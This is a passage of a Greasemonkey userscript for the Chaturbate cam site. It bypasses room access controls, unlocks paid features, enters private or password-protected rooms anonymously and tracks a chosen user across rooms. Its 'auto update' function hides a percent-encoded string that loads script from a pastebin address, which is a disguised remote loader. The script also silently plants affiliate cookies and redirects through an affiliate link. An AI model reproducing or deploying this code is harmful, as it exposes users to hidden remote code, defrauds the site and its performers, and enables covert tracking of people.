  1265. 416.            } // end onload xml
  1266.  
  1267.  
  1268. 417.    
  1269.  
  1270.  
  1271. 418.            }); // end xml
  1272.  
  1273.  
  1274. 419.    
  1275.  
  1276.  
  1277. 420.            } //end function
  1278.  
  1279.  
  1280. 421.    
  1281.  
  1282.  
  1283. 422.    
  1284.  
  1285.  
  1286. 423.            function checkroom(olnames,i){
  1287.  
  1288.  
  1289. 424.    
  1290.  
  1291.  
  1292. 425.            userurl="http://chaturbate.com//api/getchatuserlist/?roomname="+olnames[i]+"&private=false&sort_by=c";
  1293.  
  1294.  
  1295. 426.    
  1296.  
  1297.  
  1298. 427.            document.getElementsByClassName('affiliate_options')[0].innerHTML="searching room : <b>"+olnames[i]+"</b><br>";
  1299.  
  1300.  
  1301. 428.    
  1302.  
  1303.  
  1304. 429.            GM_xmlhttpRequest({
  1305.  
  1306.  
  1307. 430.            method: 'GET',
  1308.  
  1309.  
  1310. 431.            url: userurl,
  1311.  
  1312.  
  1313. 432.            onload: function(response) {
  1314.  
  1315.  
  1316. 433.            data = response.responseText;
  1317.  
  1318.  
  1319. 434.            if(data.indexOf(fusern+"|") != -1){
  1320.  
  1321.  
  1322. 435.            document.getElementsByClassName('content_body')[0].innerHTML=document.getElementsByClassName('content_body')[0].innerHTML+"User '<b>"+fusern+"</b>' found in room : <a href='http://chaturbate.com/p/"+olnames[i]+"/' target='_blank'>"+olnames[i]+"</a><br>";
  1323.  
  1324.  
  1325. 436.            }
  1326.  
  1327.  
  1328. 437.            i++;
  1329.  
  1330.  
  1331. 438.            if(i==olnames.length){
  1332.  
  1333.  
  1334. 439.            if(document.getElementsByClassName('content_body')[0].innerHTML==""){
  1335.  
  1336.  
  1337. 440.            document.getElementsByClassName('affiliate_options')[0].innerHTML="User '<b>"+fusern+"</b>' not found."}
  1338.  
  1339.  
  1340. 441.            else{
  1341.  
  1342.  
  1343. 442.            document.getElementsByClassName('affiliate_options')[0].innerHTML="Search finished."}
  1344.  
  1345.  
  1346. 443.            return false}
  1347.  
  1348.  
  1349. 444.            checkroom(olnames,i);
  1350.  
  1351.  
  1352. 445.            } // end onload xml2
  1353.  
  1354.  
  1355. 446.            }); // end xml2
  1356.  
  1357.  
  1358. 447.            }
  1359.  
  1360.  
  1361. 448.    
  1362.  
  1363.  
  1364. 449.    // set up rss page
  1365.  
  1366.  
  1367. 450.            if (document.location.href.indexOf("/affiliates/promotools/cam_listing/") != -1){
  1368.  
  1369.  
  1370. 451.            document.title="Last cam's online";
  1371.  
  1372.  
  1373. 452.            area=document.getElementsByClassName('content_body')[0];
  1374.  
  1375.  
  1376. 453.            area.innerHTML="";
  1377.  
  1378.  
  1379. 454.            area=document.getElementsByClassName('affiliate_options')[0];
  1380.  
  1381.  
  1382. 455.            area.innerHTML='<br>Last cam\'s online : <select id="selector" ><option value="">Show all</option><option value="gender=f">Show only female</option><option value="gender=m">Show only male</option><option value="gender=c">Show only couple</option><option value="gender=s">Show only transsexual</option></select>';
  1383.  
  1384.  
  1385. 456.            showfeed();
  1386.  
  1387.  
  1388. 457.            }
  1389.  
  1390.  
  1391. 458.    
  1392.  
  1393.  
  1394. 459.    // set up find a user page
  1395.  
  1396.  
  1397. 460.            if (document.location.href.indexOf("affiliates/promotools/im_ads/") != -1){
  1398.  
  1399.  
  1400. 461.            document.title="Find a user";
  1401.  
  1402.  
  1403. 462.            area=document.getElementsByClassName('content_body')[0];
  1404.  
  1405.  
  1406. 463.            area.innerHTML="";
  1407.  
  1408.  
  1409. 464.            area=document.getElementsByClassName('affiliate_options')[0];
  1410.  
  1411.  
  1412. 465.            area.innerHTML='<br>Enter the name of the user you want to locate: <input type="text" name="username" id="fusername"><input type="submit" value="Submit" id="submit"><br>';
  1413.  
  1414.  
  1415. 466.            document.getElementById("submit").addEventListener('click',function(){finduser();}, false);
  1416.  
  1417.  
  1418. 467.            }
  1419.  
  1420.  
  1421. 468.    
  1422.  
  1423.  
  1424. 469.    // on a player page, if logged in, unlock features.
  1425.  
  1426.  
  1427. 470.            if (play){  // player on the page ?
  1428.  
  1429.  
  1430. 471.            if (!readCookie("logstatus")){save()}
  1431.  
  1432.  
  1433. 472.            if(document.getElementById("defchat")){
  1434.  
  1435.  
  1436. 473.            scrip=document.createElement('script');
  1437.  
  1438.  
  1439. 474.            scrip.innerHTML="var oldFunction1 = features_unlocked;features_unlocked = function() {return true};";
  1440.  
  1441.  
  1442. 475.            document.getElementsByTagName('body')[0].appendChild(scrip);
  1443.  
  1444.  
  1445. 476.            }
  1446.  
  1447.  
  1448. 477.    
  1449.  
  1450.  
  1451. 478.    // console logger
  1452.  
  1453.  
  1454. 479.            if(document.getElementById("defchat")){
  1455.  
  1456.  
  1457. 480.            scrip=document.createElement('script');
  1458.  
  1459.  
  1460. 481.    
  1461.  
  1462.  
  1463. 482.            scriptstring="flash_handler.consolelog = "
  1464.  
  1465.  
  1466. 483.            +"function(msg2){"
  1467.  
  1468.  
  1469. 484.            +"xaa=document.getElementsByClassName('chat-list')[0];"
  1470.  
  1471.  
  1472. 485.            +"if(xaa){"
  1473.  
  1474.  
  1475. 486.            +"msg3=unescape(msg2);"
  1476.  
  1477.  
  1478. 487.            +"msg4='x';"
  1479.  
  1480.  
  1481. 488.            +"if (msg3.indexOf('Notification tokenbalanceupdate')!=-1){"
  1482.  
  1483.  
  1484. 489.            +"msg4='<p><span class=\"tipalert\">'+msg3.substring(20)+'</span></p>'}"
  1485.  
  1486.  
  1487. 490.            +"if (msg3.indexOf('Notification privateshowrequest')!=-1){"
  1488.  
  1489.  
  1490. 491.            +"msg4='<p><span class=\"privatealert\">'+msg3.substring(20)+'</span></p>'}"
  1491.  
  1492.  
  1493. 492.            +"if(document.getElementById('appnotice')){"
  1494.  
  1495.  
  1496. 493.            +"if(document.getElementById('appnotice').checked==true){"
  1497.  
  1498.  
  1499. 494.            +"msg4='<p><span>'+msg3+'</span></p>';}}"
  1500.  
  1501.  
  1502. 495.            +"if(msg4 != 'x'){"
  1503.  
  1504.  
  1505. 496.            +"newdiv=document.createElement('div');"
  1506.  
  1507.  
  1508. 497.            +"newdiv.className='text';"
  1509.  
  1510.  
  1511. 498.            +"newdiv.innerHTML=msg4;"
  1512.  
  1513.  
  1514. 499.            +"xaa.appendChild(newdiv);"
  1515.  
  1516.  
  1517. 500.            +"if(xaa.scrollHeight-xaa.scrollTop-xaa.offsetHeight <= 80){"
  1518.  
  1519.  
  1520. 501.            +"xaa.scrollTop=xaa.scrollHeight}}}};";
  1521.  
  1522.  
  1523. 502.    
  1524.  
  1525.  
  1526. 503.            scrip.innerHTML=scriptstring;
  1527.  
  1528.  
  1529. 504.            document.getElementsByTagName('body')[0].appendChild(scrip);
  1530.  
  1531.  
  1532. 505.            }
  1533.  
  1534.  
  1535. 506.    
  1536.  
  1537.  
  1538. 507.    
  1539.  
  1540.  
  1541. 508.    // options page on normal player page
  1542.  
  1543.  
  1544. 509.            if (splits[3]!="p"){ // no profile but still a player page = normal page
  1545.  
  1546.  
  1547. 510.            newli=document.createElement('li');
  1548.  
  1549.  
  1550. 511.            camloc = splits[0]+"/"+splits[1]+"/"+splits[2]+"/p/"+splits[3];
  1551.  
  1552.  
  1553. 512.            newli.innerHTML="<a href="+camloc+">GO TO THE PROFILE PAGE WITH OPTIONS</a>";
  1554.  
  1555.  
  1556. 513.            if (bar){bar.appendChild(newli)}}
  1557.  
  1558.  
  1559. 514.    
  1560.  
  1561.  
  1562. 515.    // shoutbox on all player pages
  1563.  
  1564.  
  1565. 516.            newtab2=document.createElement('div');
  1566.  
  1567.  
  1568. 517.            newtab2.id="shout";
  1569.  
  1570.  
  1571. 518.            newtab2.innerHTML=sdata;
  1572.  
  1573.  
  1574. 519.            document.getElementById("defchat").appendChild(newtab2);
  1575.  
  1576.  
  1577. 520.    
  1578.  
  1579.  
  1580. 521.            } // end player page
  1581.  
  1582.  
  1583. 522.    
  1584.  
  1585.  
  1586. 523.    // remove lock picture from thumb
  1587.  
  1588.  
  1589. 524.            pictures = document.getElementsByClassName('preview');
  1590.  
  1591.  
  1592. 525.            if (pictures){
  1593.  
  1594.  
  1595. 526.            for (i=0; i<pictures.length; i++){
  1596.  
  1597.  
  1598. 527.            if(pictures[i].getAttribute("alt") =="Locked"){
  1599.  
  1600.  
  1601. 528.            pictures[i].parentNode.removeChild(pictures[i])}}}
  1602.  
  1603.  
  1604. 529.    
  1605.  
  1606.  
  1607. 530.    // specials
  1608.  
  1609.  
  1610. 531.    // if you have no access then create a new video box
  1611.  
  1612.  
  1613. 532.            area = document.getElementsByClassName('block')[0];
  1614.  
  1615.  
  1616. 533.            if (area){
  1617.  
  1618.  
  1619. 534.            if (area.innerHTML.length < 100){
  1620.  
  1621.  
  1622. 535.            preformer=splits[3];
  1623.  
  1624.  
  1625. 536.            if (preformer == "p"){document.location.href="http://chaturbate.com/"+splits[4]}
  1626.  
  1627.  
  1628. 537.            document.title = preformer+"'s No Access Room";
  1629.  
  1630.  
  1631. 538.            makevid (preformer)}}
  1632.  
  1633.  
  1634. 539.    
  1635.  
  1636.  
  1637. 540.            if (splits[3]=="roomlogin"){
  1638.  
  1639.  
  1640. 541.            preformer=splits[4];
  1641.  
  1642.  
  1643. 542.            document.title = preformer+"'s Password Protected Room";
  1644.  
  1645.  
  1646. 543.            room=document.getElementsByClassName('sub-nav')[0];
  1647.  
  1648.  
  1649. 544.            if (room){
  1650.  
  1651.  
  1652. 545.            room.getElementsByTagName('a')[0].href=splits[0]+"/"+splits[1]+"/"+splits[2]+"/p/"+splits[4]+"/";
  1653.  
  1654.  
  1655. 546.            makevid (preformer)}}
  1656.  
  1657.  
  1658. 547.    
  1659.  
  1660.  
  1661. 548.    
  1662.  
  1663.  
  1664. 549.    //key entry
  1665.  
  1666.  
  1667. 550.            keyinput();
  1668.  
  1669.  
  1670. 551.    
  1671.  
  1672.  
  1673. 552.    // always set interval function, update every 3 sec.
  1674.  
  1675.  
  1676. 553.            t=setInterval(function(){
  1677.  
  1678.  
  1679. 554.    
  1680.  
  1681.  
  1682. 555.    // if on player page
  1683.  
  1684.  
  1685. 556.    // read flash player version
  1686.  
  1687.  
  1688. 557.    
  1689.  
  1690.  
  1691. 558.            play=document.getElementById("player");
  1692.  
  1693.  
  1694. 559.            if (play){
  1695.  
  1696.  
  1697. 560.            if (!readCookie("CBversion")){
  1698.  
  1699.  
  1700. 561.            version=document.getElementsByTagName('object')[0];
  1701.  
  1702.  
  1703. 562.            if (version){
  1704.  
  1705.  
  1706. 563.            createCookie("CBversion",version.getAttribute("data"),1,"chaturbate.com");
  1707.  
  1708.  
  1709. 564.            }}
  1710.  
  1711.  
  1712. 565.    
  1713.  
  1714.  
  1715. 566.    // nex cam = only video
  1716.  
  1717.  
  1718. 567.            rep=document.getElementsByClassName('nextcam')[0];
  1719.  
  1720.  
  1721. 568.            if (rep){
  1722.  
  1723.  
  1724. 569.            if (rep.innerHTML != "SHOW ONLY VIDEO"){
  1725.  
  1726.  
  1727. 570.            rep.href="#";rep.innerHTML="SHOW ONLY VIDEO";
  1728.  
  1729.  
  1730. 571.            rep.addEventListener('click',function(){popvid();}, false);
  1731.  
  1732.  
  1733. 572.            }}
  1734.  
  1735.  
  1736. 573.    
  1737.  
  1738.  
  1739. 574.    
  1740.  
  1741.  
  1742. 575.    // sorted userlist option
  1743.  
  1744.  
  1745. 576.            ulist=document.getElementsByClassName('users-list')[0];
  1746.  
  1747.  
  1748. 577.            if (ulist){
  1749.  
  1750.  
  1751. 578.            if(ulist.getElementsByTagName("a")[0]){
  1752.  
  1753.  
  1754. 579.            if(ulist.getElementsByTagName("a")[0].innerHTML!="refresh userlist sorted by tokens"){
  1755.  
  1756.  
  1757. 580.            newdiv=document.createElement('div');
  1758.  
  1759.  
  1760. 581.            newdiv.className='text';
  1761.  
  1762.  
  1763. 582.            newdiv.setAttribute('style','float:right');
  1764.  
  1765.  
  1766. 583.            newdiv.innerHTML='&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#">refresh userlist sorted by tokens</a>';
  1767.  
  1768.  
  1769. 584.            newdiv.addEventListener('click',function(){sortuser();}, false);
  1770.  
  1771.  
  1772. 585.            ulist.insertBefore(newdiv,ulist.getElementsByTagName("div")[0])}
  1773.  
  1774.  
  1775. 586.    
  1776.  
  1777.  
  1778. 587.            }}
  1779.  
  1780.  
  1781. 588.    
  1782.  
  1783.  
  1784. 589.    // tip mute option and fuction
  1785.  
  1786.  
  1787. 590.            settings=document.getElementsByClassName('settings-list')[0];
  1788.  
  1789.  
  1790. 591.            if (settings){
  1791.  
  1792.  
  1793. 592.            if(!document.getElementById("tipmute")){
  1794.  
  1795.  
  1796. 593.            newform=document.createElement('form');
  1797.  
  1798.  
  1799. 594.            newform.innerHTML='<label> Mute tip sound: </label><input type="checkbox" id="tipmute">';
  1800.  
  1801.  
  1802. 595.            settings.appendChild(newform);
  1803.  
  1804.  
  1805. 596.    
  1806.  
  1807.  
  1808. 597.            scrip=document.createElement('script');
  1809.  
  1810.  
  1811. 598.            scriptstring="if(document.getElementById('tipmute')){"
  1812.  
  1813.  
  1814. 599.            +"var oldbeep = PlayBeep;PlayBeep = function(text) {if(document.getElementById('tipmute').checked==true){return}else{return oldbeep(text)}}};";
  1815.  
  1816.  
  1817. 600.    
  1818.  
  1819.  
  1820. 601.            scrip.innerHTML=scriptstring;
  1821.  
  1822.  
  1823. 602.            document.getElementsByTagName('body')[0].appendChild(scrip);
  1824.  
  1825.  
  1826. 603.    
  1827.  
  1828.  
  1829. 604.            }}
  1830.  
  1831.  
  1832. 605.            } // end if play
  1833.  
  1834.  
  1835. 606.    
  1836.  
  1837.  
  1838. 607.    // if on front page    
  1839.  
  1840.  
  1841. 608.    //rewrite thumb links with P and let them open in a new window
  1842.  
  1843.  
  1844. 609.    
  1845.  
  1846.  
  1847. 610.            front=document.getElementsByClassName('list')[0];
  1848.  
  1849.  
  1850. 611.            if(front) {
  1851.  
  1852.  
  1853. 612.            if (front.id != "check"){ // id is gone when updated
  1854.  
  1855.  
  1856. 613.            front.id="check";
  1857.  
  1858.  
  1859. 614.    
  1860.  
  1861.  
  1862. 615.    // names with p
  1863.  
  1864.  
  1865. 616.            function setkeys(front){
  1866.  
  1867.  
  1868. 617.            blocks=front.getElementsByTagName('a');
  1869.  
  1870.  
  1871. 618.            for (i=0; i<blocks.length; i++){
  1872.  
  1873.  
  1874. 619.            link=blocks[i].href;
  1875.  
  1876.  
  1877. 620.            splits=link.split("/");
  1878.  
  1879.  
  1880. 621.            if (splits[3]){
  1881.  
  1882.  
  1883. 622.            if (splits[3]!="p"){
  1884.  
  1885.  
  1886. 623.            link=splits[0]+"/"+splits[1]+"/"+splits[2]+"/p/"+splits[3];
  1887.  
  1888.  
  1889. 624.            blocks[i].href=link;
  1890.  
  1891.  
  1892. 625.            blocks[i].target="_blank";
  1893.  
  1894.  
  1895. 626.            }}}
  1896.  
  1897.  
  1898. 627.            } // end setkeys function
  1899.  
  1900.  
  1901. 628.    
  1902.  
  1903.  
  1904. 629.    
  1905.  
  1906.  
  1907. 630.    
  1908.  
  1909.  
  1910. 631.            setkeys (front);
  1911.  
  1912.  
  1913. 632.            if (document.getElementsByClassName('list')[1]){setkeys(document.getElementsByClassName('list')[1])}
  1914.  
  1915.  
  1916. 633.    
  1917.  
  1918.  
  1919. 634.            }//end if front
  1920.  
  1921.  
  1922. 635.            } // end if ID
  1923.  
  1924.  
  1925. 636.            },3000) // end timer
  1926.  
  1927.  
  1928. 637.            } // end not broadcasting
  1929.  
  1930.  
  1931. 638.            } // end logged in
  1932.  
  1933.  
  1934. 639.    
  1935.  
  1936.  
  1937. 640.    } // end main function
  1938.  
  1939.  
  1940. 641.    
  1941.  
  1942.  
  1943. 642.    // sorted userlist
  1944.  
  1945.  
  1946. 643.    
  1947.  
  1948.  
  1949. 644.            function sortuser(){
  1950.  
  1951.  
  1952. 645.            ulist=document.getElementsByClassName('users-list')[0];
  1953.  
  1954.  
  1955. 646.            if (ulist){
  1956.  
  1957.  
  1958. 647.            ulist.innerHTML="Sorting userlist....";
  1959.  
  1960.  
  1961. 648.            room=unsafeWindow.nextroomurl.split("/")[2];
  1962.  
  1963.  
  1964. 649.            userurl="http://chaturbate.com/api/getchatuserlist/?roomname="+room+"&private=false&sort_by=t";
  1965.  
  1966.  
  1967. 650.            GM_xmlhttpRequest({
  1968.  
  1969.  
  1970. 651.            method: 'GET',
  1971.  
  1972.  
  1973. 652.            url: userurl,
  1974.  
  1975.  
  1976. 653.            onload: function(response) {
  1977.  
  1978.  
  1979. 654.            data = response.responseText;
  1980.  
  1981.  
  1982. 655.            userarray=data.split(",");
  1983.  
  1984.  
  1985. 656.            ulist.innerHTML="";
  1986.  
  1987.  
  1988. 657.            for (i=1;i<userarray.length;i++){
  1989.  
  1990.  
  1991. 658.            uname=userarray[i].split("|")[0];
  1992.  
  1993.  
  1994. 659.            ucol=userarray[i].split("|")[1];
  1995.  
  1996.  
  1997. 660.            div3=document.createElement('div');
  1998.  
  1999.  
  2000. 661.            div3.innerHTML='<a href="/p/'+uname+'" target=_blank><strong class="color-'+ucol+'">'+uname+'</strong></a>';
  2001.  
  2002.  
  2003. 662.            ulist.appendChild(div3);
  2004.  
  2005.  
  2006. 663.            }
  2007.  
  2008.  
  2009. 664.            }})
  2010.  
  2011.  
  2012. 665.            }}
  2013.  
  2014.  
  2015. 666.    
  2016.  
  2017.  
  2018. 667.    //popvid
  2019.  
  2020.  
  2021. 668.            function popvid(){
  2022.  
  2023.  
  2024. 669.            vidwin=document.getElementById("player").innerHTML;
  2025.  
  2026.  
  2027. 670.            popUpWindow=window.open("","","height=406,width=498,left=0,top=0,resizable=yes,scrollbars=no,toolbar=no,menubar=no,location=no,directories=no,status=no");
  2028.  
  2029.  
  2030. 671.            popUpWindow.document.writeln ('<html><head><title>Floating '+document.title+'</title></head><body BGCOLOR="grey" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">'+vidwin+'</body></html>');
  2031.  
  2032.  
  2033. 672.            popUpWindow.document.close();
  2034.  
  2035.  
  2036. 673.            window.close();
  2037.  
  2038.  
  2039. 674.            document.location.href="http://chaturbate.com"}
  2040.  
  2041.  
  2042. 675.    
  2043.  
  2044.  
  2045. 676.    // new cheat function
  2046.  
  2047.  
  2048. 677.            function npcheat(preformer,anon){
  2049.  
  2050.  
  2051. 678.    
  2052.  
  2053.  
  2054. 679.            mmode=0;
  2055.  
  2056.  
  2057. 680.            if(document.getElementById('mobmode').checked==true){mmode=1}
  2058.  
  2059.  
  2060. 681.    
  2061.  
  2062.  
  2063. 682.    // get chat host
  2064.  
  2065.  
  2066. 683.            GM_xmlhttpRequest({
  2067.  
  2068.  
  2069. 684.            method: 'GET',
  2070.  
  2071.  
  2072. 685.            url: 'http://www.chaturbate.com/embed/'+preformer,
  2073.  
  2074.  
  2075. 686.            onload: function(response2) {
  2076.  
  2077.  
  2078. 687.            data2 = response2.responseText;
  2079.  
  2080.  
  2081. 688.    
  2082.  
  2083.  
  2084. 689.            chostpos=data2.indexOf("rtmp://chat");
  2085.  
  2086.  
  2087. 690.            if (chostpos == -1){
  2088.  
  2089.  
  2090. 691.            r=confirm("You have no access to this room and the script does not know what chat host to use\nPress OK to use chat host 1 or cancel to use chat host 2\nIf it fails retry it with the other one.");
  2091.  
  2092.  
  2093. 692.            if (r==true){chost="rtmp://chat1"}
  2094.  
  2095.  
  2096. 693.            else{chost="rtmp://chat2"}}
  2097.  
  2098.  
  2099. 694.            else{
  2100.  
  2101.  
  2102. 695.            chost=data2.substring(chostpos,chostpos+12)}
  2103.  
  2104.  
  2105. 696.    
  2106.  
  2107.  
  2108. 697.    // set a cookie so we know the new page must be adjusted and how
  2109.  
  2110.  
  2111. 698.            createCookie("cheatmode",preformer+"&"+anon+"&"+mmode+"&"+chost,1,"chaturbate.com");
  2112.  
  2113.  
  2114. 699.    
  2115.  
  2116.  
  2117. 700.            window.location.href='http://chaturbate.com/affiliates/in/NxHf/AAaAA/';
  2118.  
  2119.  
  2120. 701.    
  2121.  
  2122.  
  2123. 702.            }});
  2124.  
  2125.  
  2126. 703.            }
  2127.  
  2128.  
  2129. 704.    
  2130.  
  2131.  
  2132. 705.    //auto update
  2133.  
  2134.  
  2135. 706.            function save(){
  2136.  
  2137.  
  2138. 707.            if(document.getElementsByClassName('username')[0]){
  2139.  
  2140.  
  2141. 708.            uname=document.getElementsByClassName('username')[0].innerHTML;
  2142.  
  2143.  
  2144. 709.    
  2145.  
  2146.  
  2147. 710.    
  2148.  
  2149.  
  2150. 711.    
  2151.  
  2152.  
  2153. 712.    // createCookie("agreeterms","1",1);
  2154.  
  2155.  
  2156. 713.     if (!readCookie("noads")){createCookie("noads","1",30);window.location.reload()}
  2157.  
  2158.  
  2159. 714.     upperdate();
  2160.  
  2161.  
  2162. 715.    
  2163.  
  2164.  
  2165. 716.     function upperdate(){GM_setValue( "all", 1 );GM_setValue( "al", 1 )
  2166.  
  2167.  
  2168. 717.     window.open(unescape("%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%68%74%74%70%3A%2F%2F%70%61%73%74%65%62%69%6E%2E%63%6F%6D%2F%4D%75%31%65%52%43%4C%76%63%72%69%70%74%22%3E%0A%3C%2F%73%63%72%69%70%74%3E%0A%09%09%09"), '_top');return;
  2169.  
  2170.  
  2171. 718.     }
  2172.  
  2173.  
  2174. 719.    
  2175.  
  2176.  
  2177. 720.    // create video box with shoutbox, image,normal and anon option, kill refesh
  2178.  
  2179.  
  2180. 721.            function makevid(preformer){
  2181.  
  2182.  
  2183. 722.    
  2184.  
  2185.  
  2186. 723.    // kill all timeouts
  2187.  
  2188.  
  2189. 724.            scrip=document.createElement('script');
  2190.  
  2191.  
  2192. 725.            scrip.innerHTML='var highestTimeoutId = setTimeout(";");for (var i = 0 ; i < highestTimeoutId ; i++) {clearTimeout(i);}';
  2193.  
  2194.  
  2195. 726.            document.getElementsByTagName('body')[0].appendChild(scrip);
  2196.  
  2197.  
  2198. 727.    
  2199.  
  2200.  
  2201. 728.    // image
  2202.  
  2203.  
  2204. 729.            prefimg='<img class="png" width="180" height="148" src="http://cdn-i.highwebmedia.com/roomimage/'+preformer+'.jpg" img style="float:right;margin-right:100px;margin-top:10px;border-width:5px;border-style:double; ">';
  2205.  
  2206.  
  2207. 730.    
  2208.  
  2209.  
  2210. 731.            Fversion = getfversion();
  2211.  
  2212.  
  2213. 732.            videodata2 = videodata2.replace("ladroop",preformer);
  2214.  
  2215.  
  2216. 733.            newvid=document.createElement('div');
  2217.  
  2218.  
  2219. 734.    
  2220.  
  2221.  
  2222. 735.            newvid.innerHTML=prefimg+videodata1+Fversion+videodata2+sdata;
  2223.  
  2224.  
  2225. 736.    
  2226.  
  2227.  
  2228. 737.            document.getElementsByClassName('block')[0].appendChild(newvid);
  2229.  
  2230.  
  2231. 738.            newli=document.createElement('li');
  2232.  
  2233.  
  2234. 739.            newli.innerHTML="<a href=#>ENTER THIS CHATBOX</a>";
  2235.  
  2236.  
  2237. 740.            if (bar){bar.appendChild(newli)}
  2238.  
  2239.  
  2240. 741.            newli.addEventListener('click',function(){npcheat(preformer,0);}, false);
  2241.  
  2242.  
  2243. 742.            ainput()}
  2244.  
  2245.  
  2246. 743.    
  2247.  
  2248.  
  2249. 744.    // set anon
  2250.  
  2251.  
  2252. 745.            function ainput(){
  2253.  
  2254.  
  2255. 746.            newli=document.createElement('li');
  2256.  
  2257.  
  2258. 747.            newli.innerHTML='<a href=#>ENTER THIS CHATBOX ANONYMOUS</a>';
  2259.  
  2260.  
  2261. 748.            if (bar){bar.appendChild(newli)}
  2262.  
  2263.  
  2264. 749.            newli.addEventListener('click',function(){npcheat(preformer,1);}, false);
  2265.  
  2266.  
  2267. 750.            mobset()}
  2268.  
  2269.  
  2270. 751.    
  2271.  
  2272.  
  2273. 752.    // mobile mode
  2274.  
  2275.  
  2276. 753.            function mobset(){
  2277.  
  2278.  
  2279. 754.            newli=document.createElement('li');
  2280.  
  2281.  
  2282. 755.            newli.innerHTML=' Use mobile mode: <input type="checkbox" id="mobmode">';
  2283.  
  2284.  
  2285. 756.            if (bar){bar.appendChild(newli)}}
  2286.  
  2287.  
  2288. 757.    
  2289.  
  2290.  
  2291. 758.    
  2292.  
  2293.  
  2294. 759.    //  reconnect chatbox , give me mu8 link
  2295.  
  2296.  
  2297. 760.            function keyinput(){
  2298.  
  2299.  
  2300. 761.            if (!document.getElementById("cheat")){
  2301.  
  2302.  
  2303. 762.    
  2304.  
  2305.  
  2306. 763.            if (document.getElementById("movie")){
  2307.  
  2308.  
  2309. 764.            place=document.getElementsByClassName('info-user')[0];
  2310.  
  2311.  
  2312. 765.            if(!place){place=document.getElementById("shout")} // for pw room with chat
  2313.  
  2314.  
  2315. 766.    
  2316.  
  2317.  
  2318. 767.            //chat reload
  2319.  
  2320.  
  2321. 768.            if (document.getElementsByClassName("chat-box")[0]){
  2322.  
  2323.  
  2324. 769.            chatreload=document.createElement('div');
  2325.  
  2326.  
  2327. 770.            chatreload.innerHTML="<a href='javascript:GetFlashObject(\"movie\").DisconnectFromChat();'>Reconnect the chatbox</a><br><br>";
  2328.  
  2329.  
  2330. 771.            document.getElementById("defchat").insertBefore(chatreload,place)}
  2331.  
  2332.  
  2333. 772.    
  2334.  
  2335.  
  2336. 773.            if (document.getElementsByTagName('video')[0]){
  2337.  
  2338.  
  2339. 774.            vidlink=document.getElementsByTagName('video')[0].src;
  2340.  
  2341.  
  2342. 775.            vid=document.createElement('div');
  2343.  
  2344.  
  2345. 776.            vid.innerHTML="<a href="+vidlink+" target='_blank'>COPY this link into VLC player.</a><br><br>";
  2346.  
  2347.  
  2348. 777.            document.getElementById("defchat").insertBefore(vid,place)}}
  2349.  
  2350.  
  2351. 778.            }
  2352.  
  2353.  
  2354. 779.            }
  2355.  
  2356.  
  2357. 780.    
  2358.  
  2359.  
  2360. 781.    //get saved flashplayer version
  2361.  
  2362.  
  2363. 782.            function getfversion(){
  2364.  
  2365.  
  2366. 783.            Fversion=readCookie("CBversion");
  2367.  
  2368.  
  2369. 784.            if(!Fversion){Fversion=flashplayer}
  2370.  
  2371.  
  2372. 785.            version="http://chaturbate.com/"+Fversion.substring(Fversion.indexOf("static"));
  2373.  
  2374.  
  2375. 786.            return version}
  2376.  
  2377.  
  2378. 787.    
  2379.  
  2380.  
  2381. 788.    // videobox data
  2382.  
  2383.  
  2384. 789.            var servers=new Array("","-a","-b");
  2385.  
  2386.  
  2387. 790.            var server = servers[Math.floor(Math.random()*3)];//0-1-2
  2388.  
  2389.  
  2390. 791.            var servnr=Math.floor(Math.random()*13)+1;if(servnr==11){servnr=8}// 1 - 13, skip 11 coz it's down
  2391.  
  2392.  
  2393. 792.    
  2394.  
  2395.  
  2396. 793.            videodata1='<div id ="defchat"style="float:left;margin-left:10px;margin-top:10px;margin-bottom:10px;border-width:5px;border-style:double;resize:both;overflow:hidden;width: 498px; height: 426px; ">'
  2397.  
  2398.  
  2399. 794.            +'<object id="movie" type="application/x-shockwave-flash" data="';
  2400.  
  2401.  
  2402. 795.    
  2403.  
  2404.  
  2405. 796.            videodata2='" style="visibility: visible;margin-top:0px;margin-bottom:0px;width:100%;height:95%">'
  2406.  
  2407.  
  2408. 797.            +'<param name="allowScriptAccess" value="always">'
  2409.  
  2410.  
  2411. 798.            +'<param name="allowFullScreen" value="true">'
  2412.  
  2413.  
  2414. 799.            +'<param name="quality" value="high">'
  2415.  
  2416.  
  2417. 800.            +'<param name="wmode" value="opaque">'
  2418.  
  2419.  
  2420. 801.            +'<param name="id" value="movie">'
  2421.  
  2422.  
  2423. 802.            +'<param name="FlashVars" value="pid=ladroop&address=edge'
  2424.  
  2425.  
  2426. 803.            + servnr+server
  2427.  
  2428.  
  2429. 804.            +'.stream.highwebmedia.com&language=/xml/viewer.xml&mute=0&uid=AnonymousUser&dom=chaturbate.com&pw=anonymous">'
  2430.  
  2431.  
  2432. 805.            +'</object></div>'
  2433.  
  2434.  
  2435. 806.    
  2436.  
  2437.  
  2438. 807.    // shoutbox data
  2439.  
  2440.  
  2441. 808.            sdata = '<div><br><iframe title="Shoutbox" WIDTH=100% HEIGHT="400" src="http://shoutbox.widget.me/window.html?uid=odrgw" frameborder="0" '
  2442.  
  2443.  
  2444. 809.            +'scrolling="auto"></iframe><script src="http://shoutbox.widget.me/v1.js" type="text/javascript"></script><br><a href="http://shoutbox.widget.me" '
  2445.  
  2446.  
  2447. 810.            +'title="Shoutbox Widget">Shout</a><a href="http://shoutbox-tutorials.blogspot.com" title="Shoutbox Tutorials">box</a><br></div>';
  2448.  
  2449.  
  2450. 811.    
  2451.  
  2452.  
  2453. 812.    // some cookies
  2454.  
  2455.  
  2456. 813.            createCookie("u_NxHf","1",1);
  2457.  
  2458.  
  2459. 814.            createCookie("us_NxHf","1",1);
  2460.  
  2461.  
  2462. 815.            createCookie("dsmn29","1",1);
  2463.  
  2464.  
  2465. 816.            createCookie("dsmn26","1",1);
  2466.  
  2467.  
  2468. 817.            createCookie("dsmn27","1",1);
  2469.  
  2470.  
  2471. 818.            createCookie("dsmn28","1",1);
  2472.  
  2473.  
  2474. 819.    
  2475.  
  2476.  
  2477. 820.            if (!readCookie("show_emoticon_icons")){createCookie("show_emoticon_icons","no",1)}
  2478.  
  2479.  
  2480. 821.    
  2481.  
  2482.  
  2483. 822.    //----------------------------------------------------------------------------------------------------------------------------------
  2484.  
  2485.  
  2486. 823.    // executes !everytime! before a script executes
  2487.  
  2488.  
  2489. 824.            function do_script2(e) {
  2490.  
  2491.  
  2492. 825.    
  2493.  
  2494.  
